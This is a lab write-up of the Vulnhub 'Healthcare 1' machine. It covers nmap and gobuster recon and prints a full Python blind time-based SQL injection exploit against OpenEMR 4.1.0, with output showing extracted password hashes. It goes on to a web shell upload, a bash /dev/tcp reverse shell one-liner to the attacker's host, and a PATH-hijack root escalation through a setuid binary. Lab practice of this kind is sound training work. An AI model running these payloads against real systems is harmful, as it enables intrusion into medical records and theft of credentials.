Vulnhub: Healthcare 1
Introduction
This is my little exercise about Linux privilege escalation and Web Security.
Objectives
- Steal sensitive information from the target
- Escalate privileges
Download
Reconnaissance
In this section, I will do some reconnaissance to gather information about the target. I will use nmap to scan the target and find open ports and services.
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vbox)-[~]
└─$ nmap -sV 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-27 22:51 EDT
Nmap scan report for 192.168.56.107
Host is up (0.00055s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
MAC Address: 08:00:27:D4:33:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
As you can see, the target is running HTTP service on port 80 and SSH service on port 22. You can try to brute force the SSH service to get the credentials for local account by using hydra. I did it but nothing interesting.
Initial Access
Next, I will exploit the HTTP service on port 80 with the desire to get useful information or initial access to the target. I go to the web interface.
I see a simple web application with an email field and a submit button. I use Wappalyzer to analyze the web application.
It shows that the web application is running on PHP as the backend and Apache as the web server. I try input some email address and click the submit button but nothing happens. I also try some malicious input to exploit the web application but nothing happens. And I think this page is not vulnerable to any attack.
I need to find another page to exploit. Using gobuster to find another page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿vbox)-[~]
└─$ gobuster dir --url "http://192.168.56.107/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.107/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 341] [--> http://192.168.56.107/css/]
/images (Status: 301) [Size: 344] [--> http://192.168.56.107/images/]
/index (Status: 200) [Size: 5031]
/js (Status: 301) [Size: 340] [--> http://192.168.56.107/js/]
/vendor (Status: 301) [Size: 344] [--> http://192.168.56.107/vendor/]
/favicon (Status: 200) [Size: 1406]
/robots (Status: 200) [Size: 620]
/fonts (Status: 301) [Size: 343] [--> http://192.168.56.107/fonts/]
/gitweb (Status: 301) [Size: 344] [--> http://192.168.56.107/gitweb/]
/phpMyAdmin (Status: 403) [Size: 59]
/server-status (Status: 403) [Size: 1000]
/server-info (Status: 403) [Size: 1000]
/openemr (Status: 301) [Size: 345] [--> http://192.168.56.107/openemr/]
Progress: 1273832 / 1273833 (100.00%)
===============================================================
Finished
===============================================================
I tried to fuzz with small wordlist and medium wordlist but nothing happens. But with big wordlist, I found a directory called openemr although it wastes me a lot of time. I go to the openemr directory and see the web application.
It is a Free and Open Source electronic health records and medical practice management application. OpenEMR is ONC Complete Ambulatory EHR certified and features fully integrated electronic health records, practice management, scheduling, electronic billing, and internationalization. And in this page, I see an interesting information is the version of OpenEMR is 4.1.0. I search vulnerability for this version and found CVE-2012-2115 that is a SQL Injection vulnerability in OpenEMR 4.1.0.
You can use sqlmap or use python script provided by Exploit-DB to exploit the vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
import requests
import string
import sys
print(r"""
____ ________ _______ __ __ ___ ____
/ __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \\
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / /
/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/
/_/
____ ___ __ _____ ____ __ _
/ __ )/ (_)___ ____/ / / ___// __ \ / / (_)
/ /_/ / / / __ \/ __ / \__ \/ / / / / / / /
/ /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike
""")
all_chars = string.printable
url = "http://192.168.56.107/openemr/interface/login/validateUser.php?u="
headers = {'User-Agent': 'Mozilla/5.0'}
def extract_users_num():
print("[+] Finding number of users...")
for n in range(1, 100):
payload = f"'%2b(SELECT+IF((SELECT+COUNT(username)+FROM+users)={n},SLEEP(3),1))%2b'"
r = requests.get(url + payload, headers=headers)
if r.elapsed.total_seconds() >= 3:
print(f"[+] Found number of users: {n}")
return n
print("[-] Could not determine number of users.")
return 0
def extract_users():
users = extract_users_num()
print("[+] Extracting username and password hash...")
# Determine length of result
for n in range(1, 1000):
payload = f"'%2b(SELECT+IF(LENGTH((SELECT+GROUP_CONCAT(username,':',password)+FROM+users+LIMIT+0,1))={n},SLEEP(3),1))%2b'"
r = requests.get(url + payload, headers=headers)
if r.elapsed.total_seconds() >= 3:
length = n
print(f"[+] Length of output string: {length}")
break
# Character by character extraction
output = []
for i in range(1, length + 1):
for char in all_chars:
payload = f"'%2b(SELECT+IF(ASCII(SUBSTR((SELECT+GROUP_CONCAT(username,':',password)+FROM+users+LIMIT+0,1),{i},1))={ord(char)},SLEEP(3),1))%2b'"
r = requests.get(url + payload, headers=headers)
if r.elapsed.total_seconds() >= 3:
output.append(char)
print(char, end='', flush=True)
if char == ",":
print()
break
print("\n[+] Extraction complete.")
return ''.join(output)
if __name__ == "__main__":
try:
extract_users()
except KeyboardInterrupt:
print("\n[+] Exiting...")
sys.exit(0)
Here is the output of the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿vbox)-[~]
└─$ python3 script.py
____ ________ _______ __ __ ___ ____
/ __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \\
/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / /
/ /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/
/_/
____ ___ __ _____ ____ __ _
/ __ )/ (_)___ ____/ / / ___// __ \ / / (_)
/ /_/ / / / __ \/ __ / \__ \/ / / / / / / /
/ /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike
[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
[+] Length of output string: 95
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d
As you can see, the script successfully extracts the username and password hash of the users. Using CrackStation to crack the password hash.
Login as admin with password ackbar.
Using this web application as a normal user, we can test some features like create a new patient, view patient information, etc. While testing, if you can find a way to get shell access, you can use it to escalate privileges.
When I research in Google, I found a CVE for OpenEMR version 4.1.0 is CVE-2011-5161. Unrestricted file upload vulnerability in the patient photograph functionality in OpenEMR 4 allows remote attackers to execute arbitrary PHP code by uploading a file with an executable extension followed by a safe extension, then accessing it via a direct request to the patient directory under documents/.
Here are the steps to exploit the vulnerability:
- Login with valid User/Pass
- Patient/Client -> Search/New Patient (search for anything)
- Click Documents -> Patient Photograph
- Upload Shell
Then, I go to the uploaded file and see the result.
Privilege Escalation
I have a web shell and to get a reverse shell to easily interact with the target, I will listen on my local machine with netcat port 1234 and use the following command to get a reverse shell:
1
/bin/bash -i >& /dev/tcp/192.168.56.106/1234 0>&1
Next, I will escalate privileges to get root access. You can use linpeas to find privilege escalation vectors. But in this lab, I will do it manually, I will check some common privilege escalation vectors like SUID files, writable files, etc. And when I enumerate setuid files, I found a file called /usr/bin/healthcare that is a setuid file.
1
2
3
4
5
6
7
8
9
10
11
bash-4.1$ find / -perm -u=s 2>/dev/null
find / -perm -u=s 2>/dev/null
...
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpg
/usr/bin/healthcheck
/usr/bin/Xwrapper
/usr/bin/ping6
/usr/bin/chsh
...
I will check the file with file command to see what type of file it is.
1
2
3
bash-4.1$ file /usr/bin/healthcheck
file /usr/bin/healthcheck
/usr/bin/healthcheck: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
It is a setuid setgid ELF executable. Check this command with GTFOBins to see how I can use it to escalate privileges but it is not listed in GTFOBins. It is a custom command in this lab. I will check the file with strings command to see if it has any interesting strings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-4.1$ strings /usr/bin/healthcheck
strings /usr/bin/healthcheck
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h
Oh, this file is a health check script that will run multiple commands like clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h
Maybe it is compiled with gcc and the source code is in /usr/src/healthcheck.c with the content:
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h");
return 0;
}
In this code, I see these commands are called but not via absolute path. And I think we can use PATH manipulation to execute arbitrary commands with setuid privileges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bash-4.1$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ echo $PATH
echo $PATH
/tmp:/sbin:/usr/sbin:/bin:/usr/bin
bash-4.1$ echo -e '#!/bin/bash\n /bin/bash' > clear
echo -e '#!/bin/bash\n /bin/bash' > clear
bash-4.1$ chmod +x clear
chmod +x clear
bash-4.1$ cat clear
cat clear
#!/bin/bash
/bin/bash
bash-4.1$ healthcheck
healthcheck
id
uid=0(root) gid=0(root) groups=0(root),416(apache)








